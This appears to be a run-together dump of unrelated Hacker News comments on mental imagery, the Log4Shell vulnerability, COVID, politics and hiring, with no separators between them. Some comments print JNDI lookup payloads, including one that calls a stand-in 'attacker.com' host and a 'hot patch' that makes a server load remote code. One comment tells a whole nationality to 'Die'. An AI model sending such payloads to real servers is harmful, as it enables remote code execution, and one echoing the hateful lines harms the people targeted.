skysight-inc/HackerNews huggingface dataset:
No, but what I'm describing is that I have a phenomenological experience of both non-clear images and clear images.

It was in response to the complaint that the "Vividness of Visual Imagery" test is ambiguous, because people can't decide whether their visualization is clear or not. I'm saying that, for a person with a good ability at visualizing, the distinction is fairly clear.

And it's not just fuzzy memory, the fuzzy memory causes a non-clear picture. But I can't transfer my phenomenological experience to you, so you'll either have to accept that some people can have both clear or non-clear imagery, or not.

In answer to your question, I can certainly produce a mental image of an imagined barista. I can imagine very fine details in, say, the handlebar mustache I invent. Yes, those details will probably have come from reality, but I don't know from where, and I can visualize it very clearly if I choose to.

In answer to a question you didn't ask, when I read books I rarely have a detailed image of a character. They're kind of faceless people, roughly sketched. I actually discussed this last week with my either-year-old, and she had the exact same experience, but had never really stopped to think about it. (Like what I was saying before about the nose missing not being weird.)
Nailed it.

If you/we think are owed anything for unasked work, you/we have to let go of expectations.

If you're to work on a test like this, approach it with "overcome challenge" mindset and not with the open hand of "you owe me something."
Out of the box (at least on my text 1.8 JVM): corbaname, dns, iiop, iiopname, ldap, ldaps, rmi

For full details of how this works, use a vulnerable log4j version, log a simple (bad) lookup, and step through with a debugger for a while.

Sources:

- https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/com/sun/naming/internal/ResourceManager.java#L422
- https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/javax/naming/spi/NamingManager.java#L558
- https://github.com/JetBrains/jdk8u_jdk/tree/master/src/share/classes/com/sun/jndi/url

By default the class will be named "com.sun.jndi.url.<scheme>.<scheme>URLContextFactory"

So for example, if your schema, the class will be "com.sun.jndi.url.ldap.ldapURLContextFactory".

But also note that many of these schemes can return referrals/redirects to other protocols.
You can use X11 session with integrated graphics as well.
In this case it seems more like the ECB that's shoveling free money to the Euro banks.
> per capita

Kim Jong Ill's missile launches are offset by the enslavement of his entire population.

>China's population is about 4 times bigger

I don't have kids because of them. I don't care. Die.

> absolute pollution

I'll put that one up there with two weeks to flatten the curve.

>renewables

Dirtier than the stuff you replace. Here's an idea. Don't wage aggressive wars of territorial expansion.

> What exactly do you want from China?

Let's start with "don't eat one another." If it wasn't for us, they would be dead. We saved them. They betrayed us. We owe them nothing. They have zero say because everything they do is just to try to enslave us. Once again, die.
I don't understand this example at all. A Rust programmer would essentially never use unwrap on the return from File::open. It would be like checking open(2) with assert() in C.
Indeed. At one point this was a bigger deal, now it seems that this is the new normal.

Chrome bought a good decade or so of security for itself by leveraging sandboxing, but it seems that attackers have gotten their bearings, so here we are.

I'm curious though. 4102 is a v8 vulnerability. That shouldn't be sufficient to take over a computer. I wonder if there's another 0day for Windows/Linux that it's being paired with?
For some reason, bad naming conventions are baked into the C programming culture. Like you aren’t a real C programmer if you don’t use two letter variables. I’m assuming short names and schemes like Polish notation once had a place when RAM was more expensive, but I can’t comprehend why new C code can’t use modern practices.
This was a joke, Unitology is a religious movement in the Dead Space series of games.
But Google doesn't fire people for smoking, being obese, or anything else that makes them more likely to be hospitalized or die, so that can't be their real reason.
According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered:

String apiVersion = he.getRequestHeader("X-Api-Version");

// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);

But what is the bug in log4j that caused the vulnerability?

Anyone have a link to the relevant log4j code?
I don't see why Tesla should do this when plenty of other safety critical software (cruise control, autopilot from actual planes, etc.) doesn't do this.

I also think public review of this kind of code is likely to generate a whole lot more noise and PR bullshit than any actual actionable feedback.
This fills me with anxiety. It's like "PLEASE DO NOT BLOW UP!!"
> naturally induced immunity from prior exposure to Sars-Cov-2 will be more effective

This seems like a pretty big assumption TBH, and something that needs study. Is it better? How much? Why? How long does it last?
Changes the whole dynamic of any school. If public schools could kick out students for behavior there wouldn’t be near the incentive for private schools to exist.

I also suspect student behavior would magically improve because the parents would have a real incentive to correct behavioral actions at home.

If you want one thing to fix education in America this would be it. Parents need to be held accountable for the actions of their children and hold their children accountable as well and unfortunately many parents simply do not care. They see it as a free right to childcare and whatever happens at school is the school’s problem.

And before anyone corrects me. Yes, you can get expelled from public school, but you really have to try these days and then after years and years of documented terrible behavior there probably has to be something so egregious and disturbing that there can be no objections any longer.
I can only see vague parts of a whole, like my object-detector neural net layers are working, and I can visualize lower layers of the network, but not the top layer. Like I can't remember my own children's whole face, but I'd instantly recognize it if I see it.

It makes me wonder if people's 'visual memory' isn't some for of GAN, where people with good visual memory just have great generative networks with synthesize details which aren't there based on broad parameters.

Because when I'm lucid dreaming, or partly asleep, I can have these vivid experiences where I can see imagined objects with perfect clarity, stable detail, even color, something I'm not able to do when normally conscious. Like if I think of red lips, or a red apple right now, I don't really perceive the 'red' -- its abstract.

Perhaps the real issue is a 'visual cache' that expires too quickly. Like if your brain is using GAN-like techniques to synthesize imagery from learned network weights, maybe some people have a better working cache, and so it disappears less quickly -- is more persistent.

I tend to think abstractly and my mind often gets filled with a bazillion ideas when I'm trying to imagine things, so perhaps I'm experiencing a kind of 'cache thrashing' that I don't get when sedated.
Hence I’m not happy with anything that doesn’t look like Java.

Go seems amazing otherwise, but I cannot get over the fact that it forces me to capitalize or not capitalize my variables, and has types in the wrong order.
I’m pretty sure this has caused CVEs before. Folks will check !ret and call it a day.
This standard is DOA.

https://blog.apnic.net/2019/05/27/dns-oarc-30-bad-news-for-d...

An explainer:

https://news.ycombinator.com/item?id=20026572
If rich nations paid for poor nations to reach 95%+ vaccination levels, the virus would be tamed for everyone's benefit.

With the prevailing scheme, in which rich nations fund high vax levels domestically, and allow poor nations to languish, the virus is always going to have reservoirs around the world in which it can mutate, thereby requiring new rounds of vaccination in the rich countries periodically.

The total cost of vaccinating the whole world in 1 year would be far less than the cost of infinite rolling booster programs. And yet, we do the latter.

Why? That's the secret sauce of the sustainable business model.
Meanwhile Cornell closed its campus because Omicron is on campus and infections are sharply rising. Good luck to us all.
Our media has never been representative of the population's views. It was always spinning an image that looked like the people doing the presenting, even when they didn't mean to. I doubt many people actually cared about the president's religion. They might for a brief moment while the media was making a big deal out of it, but they forgot they ever cared as quickly as they took the issue up.

The memory hole in 1984 wasn't just something Orwell made up from nothing.
It's a simple concept that about 95-99% of the general population does not understand at any level. This includes most politicians, civil planners, even scientists and medical staff.

When the pandemic first started, people were flabberghasted about how FAST! the numbers were going up. Faster and faster, new records broken every day! Meanwhile, on a logarithmic plot, it was a dead straight line. It wasn't changing, not really.

People don't "get" this. Even now, two years in, people are clinging to constant factors.

I've had similar conversations with people who just don't understand Moore's law, Nielsen's Law, etc...

I had to use pictures to explain to IT network professionals that upgrading a 15-year-old 2 Mbps site office link to 4 Mbps is hilariously under-specced when the mobile phone in my pocket can exceed 1 Gbps while I'm sitting at the bus stop. They just hadn't "grokked" that their mental models are off by orders of magnitude. They're used to x*2 instead of x*10^2.
Being a furry. It seems like they get a lot of shit for no good reason.
I’m also very interested in an answer. We use Alexa a lot, but this week I had to unplug every Alexa in the house because a distant family member had gained access to the family Amazon account and was trying to use the “drop in” feature to listen to our conversations. In the course of our investigation I found out that Alexa does not log privacy related events at all (there is no record of a drop in stored anywhere), and the UI for locking down which profiles and contacts have access to which feature is unbelievably bad. At this point I can’t prove that this person doesn’t still have access somehow (every single contact taken from your phone has unique permissions to drop in) and I can’t delete the profile this person created without contacting customer support. So the devices are going to stay unplugged until I have time to nuke the Amazon account and create a new one.

To be clear, I’m not concerned about cloud processing or even mining my data. Just something I can have a reasonable amount of control over and that doesn’t constantly enable features I don’t want on its own.
It's hard to say much when your replies are so short, but let me try to elaborate.

If a user that was happily using version 727 is now on a version that's almost identical to 402, they're now missing 300 versions' worth of code changes. You don't see how that's an issue? What if they were using functionality from that? Upgrading to 728 has removed all this code they were depending on!

If everyone follows your advice to upgrade, then everyone has this problem. Including you, unless you ignore your own advice.
True it isn’t that they desire these shit things, it is that they don’t desire what is actually worth desiring.
Well said. I still see Hitchens and Dawkins as the people that changed my life for the better. I was in highschool and their influence has led me to live a more fulfilling life. I am grateful for that.
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

${jndi:ldap://hotpatch.log4shell.com:1389/a}

If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

Source code is on GitHub here[0][1] if you want to host it yourself.

(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

0: https://github.com/lunasec-io/lunasec/releases/

1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

2: https://github.com/Cybereason/Logout4Shell
Yes that is it! Thanks!
That’s good to hear. It’s been a few years since I played with Haskell. I know some of it was in the works. Nice to know it came to fruition.
Unless you design your own hardware and build your own fab to manufacture it, you're always taking the word of at least one company.
Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here:
https://github.com/lunasec-io/lunasec/issues/301

This is less than helpful if people use this and then believe they are safe.
What Congress was doing at the time was arguing about whether or not a special commission should be established to investigate the election before certifying. They had not yet begun the process of counting the votes (so that is not what was interrupted)

https://www.youtube.com/watch?v=_EQfUbE4bL8&t=10800s

this fact is often lost to the sands of time; had the capitol not been invaded, it is likely that the republican majority senate would have convened a special commission. really, it was a stroke of luck for the democrats what happened.
BDO to reimburse 700 hacking victims
Arguably a language should NEVER have breaking changes large enough to warrant a SemVer major version update. Rename or fork the language if you want to do that. Such major language overhauls in the past have been a huge waste of developer time as they go back to rewrite affected code.
GP's point was broader than log4j. It's that we're all building our own spaghetti using a collection of libraries and frameworks all built with their own spaghetti.

By the time software gets to the SaaS end user, it's giant rope-sized spaghetti noodles knit together with spaghetti thread spun from spaghetti fibers.
I think this is false for < 13. Everything I’ve seen shows flu to be worse in that age group.

Edit: after looking at sources again I’m no longer quite as confident that flu is significantly worse, but covid is definitely not 10x worse for kids: https://data.cdc.gov/widgets/9bhg-hcku?mobile_redirect=true
Have you heard of Albert Fish?
> nobody stands to make any money of off them.

LOL. Because Ivermectin and HCQ somehow aren't Big Pharma products?
Hilarious.
It's all hearsay but I've heard it mentioned multiple times that this "imnotnorm" character is his son, Dylan.
This would be lovely
I think that would be a first for the FDA, but I suppose it is possible.

Normally they approve based solely on safety and risk/benefit.

Sometimes products have limited approval for high risk groups, but for these reasons, not because of supply.

Pricing and availability is not their job.
Mostly agree. GNOME sucks but it was good on my Surface Pro, its such a bad DE if you can't use touch. Rotation and interface were made for touch.
Handshake Domains for Decentralized Web
From this thread, it sounds like the second vulnerability doesn't affect spigot or vanilla minecraft:

https://www.spigotmc.org/threads/spigot-security-releases-%E...

Also, mojang's update instructions:

https://www.minecraft.net/en-us/article/important-message--s...
Nothing you've said is incorrect. I have to wonder though if this dumping of old vaccines on people who wouldn't have gotten them in the first place might allow people to survive who might otherwise have not. Sure, the vaccines are not optimal, but they do reduce risk. And of course this situation isn't fair, but perhaps it's still better than the baseline conditions these folks would have had to live with.
> Natural immunity

Gaining herd natural immunity implies a lot more death. Also natural immunity wanes after a while, and variants can work around it.

So no, it's not the only way, nor is it even a certain way at all.
The first time I smoked a lot of weed I felt like if I didn't focus really hard on the present I would go back in time. I was still functioning enough to know that could not be real, but it sure felt that way. I didn't realize until the next day that I was just having legit visual memories.
I have been using my hacker skills to help activist groups tighten up their digital security and navigate through the corporate media to keep them protected and effective. I have been ranting about this coming for over 30 years, and some people are finally starting to listen and realize that they need to massively reduce consumption. Geoengineering and much 'green' tech are only making the problem worse by using more fossil fuels to build them and giving people a delusion that tech will save us. So in summary, I suggest to reduce your own consumption and offer your skills to those who need it if you can.
While we're on the subject, silencers don't turn handguns silent, gas tanks don't explode when shot, and you can die from being buried chest-deep in sand
No, but autocorrect loves me. I did, indeed, mean colorimeter.
Ancient Plagues
Then I must not support 'these' mandates.

I support ones that make a meaningful impact on spread though.

And where I live there haven't been any mandates for vaccinated people anyway.
It doesn’t need to be part of the core language. Everyone can make their own monad, or use the one from a library.
Could you add Facebook and instagram sounds? Not so it makes you sound busy, but as a few other commenters have said, it may help with desensitization of notification sounds and I like that idea a lot
I suppose you could define a type alias "unit". It's not surprising to me that this isn't in the go standard library though.
I don’t know why people who are worried that a site might look like another site worry about that when we’re talking about a css framework.

Generally that includes looking consistent to some extent.
This vulnerability seems much harder to exploit. I've just checked the services I'm in charge of and while there are a few uses of `${ctx:...}` in those codebases, the corresponding context values are all injected internally and not able to be manipulated by the user.
I did actually touch on it briefly in [1] but it was not my only focus so perhaps you missed it. But I fully agree our voting system is one of the primary reasons for our polarization (social media is probably another but that's mainly an instinctual hypothesis). Unfortunately the alternative with the most support currently is ranked choice/IRV which does not really solve polarization (perhaps it might help it due to external societal factors, but in a mathematical vacuum I believe IRV is just as polarizing as first past the post). As far as single winner methods go, approval and STAR are gaining momentum and they do address polarization, so if one of these catches on I expect it to help slowly improve our current situation.

[1] https://news.ycombinator.com/item?id=29550838
How does this impact v8 based services, like Cloudflare Workers?
I’d say most of the time.
How does the hot patch work?
We publish the relevant wavelength on the data sheets.

This is for interface LEDs on a network device. This was one batch of a few hundred chassis, and they ended up being _just_ _slightly_ more yellow than the rest. Back they came.
At Earthshot Labs, we're building a dream team of world-class talent using AI to catalyze planetary land regeneration. All positions are 100% remote, though we meet every couple months for nature-filled intimate in-person retreats.

We are a well funded startup that is venture backed by Future Ventures. Competitive salary plus equity alongside health and 401k benefits.

Unity Engineer - https://bit.ly/3s47mXR
Full Stack Engineer (Flutter, Python) - https://bit.ly/3IQmePF
Product Designer - https://bit.ly/3m89OsO
Machine Learning Engineer - https://bit.ly/3DZXMYm

We welcome introverts, weirdos, hippies, and anyone else with high emotional intelligence, passionate ecological commitment, and brilliant skillset that maybe don’t fulfill the usual societal norms. This isn't just about inclusion or equity. We believe that the genius of diverse peoples and backgrounds is essential to create culture and technology that reflect the world we want to live in.

Visit https://earthshot.eco/work-with-us to see all available roles and feel free to email me at directly at eric@earthshot.eco
> It's a proven strategy that works.

Do you know of research around on what works for what situations?

Many dystopian strategies will work, but what other problems do they create? Hard to be the political opposition under 1984-level monitoring.
Most priests are incredibly educated. There is a reason a lot of colleges and universities were founded by religious orders. There are Catholic priests who are well regarded and published scientists and mathematicians.
I am surprised that the altruists at Project Zero didn't find these. When they find zero days in Firefox they make flashy 6 page technical briefs out of it to make sure there's no process failure at Mozilla. To protect Firefox users, of course.
No, this really was just ethernet interface front panel LEDs. The customer viewed this as indicative of poor quality control.
Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature!

Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...

> By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol.

So that's where the LDAP portion comes from.

This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going.

Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details)

Does that help?
Sing it with me: You can stick your vaccine mandates up your ass
I'm not aware of companies caring what your current or last job title is when they hire you, and for that reason I don't think most developers care what title they get when taking a new job. The titles are really only important internally, if companies have a culture of respecting certain titles, or when they have strict salary bands for each job title that are matched to some supposed industry standard. Salary bands are a blanket corporate policy that many companies use to enforce a very crude form of hiring discipline, and over time they can get really out of touch with reality (always on the low side, of course.) In the last couple of years I've spoken with several companies that limit the salary of "senior" developers to $160k or even less. Some of these are stodgy old companies like you would expect, but some are also midwestern companies that are switching to a "remote first" model but still have salary bands calibrated to their low-COL city of origin.

Managers deal with unrealistic salary bands via title inflation when they can, but sometimes their hands are tied. I joined a team that did have the freedom to use title inflation and ended up with a principal title in a team with more principal engineers than non-principal engineers.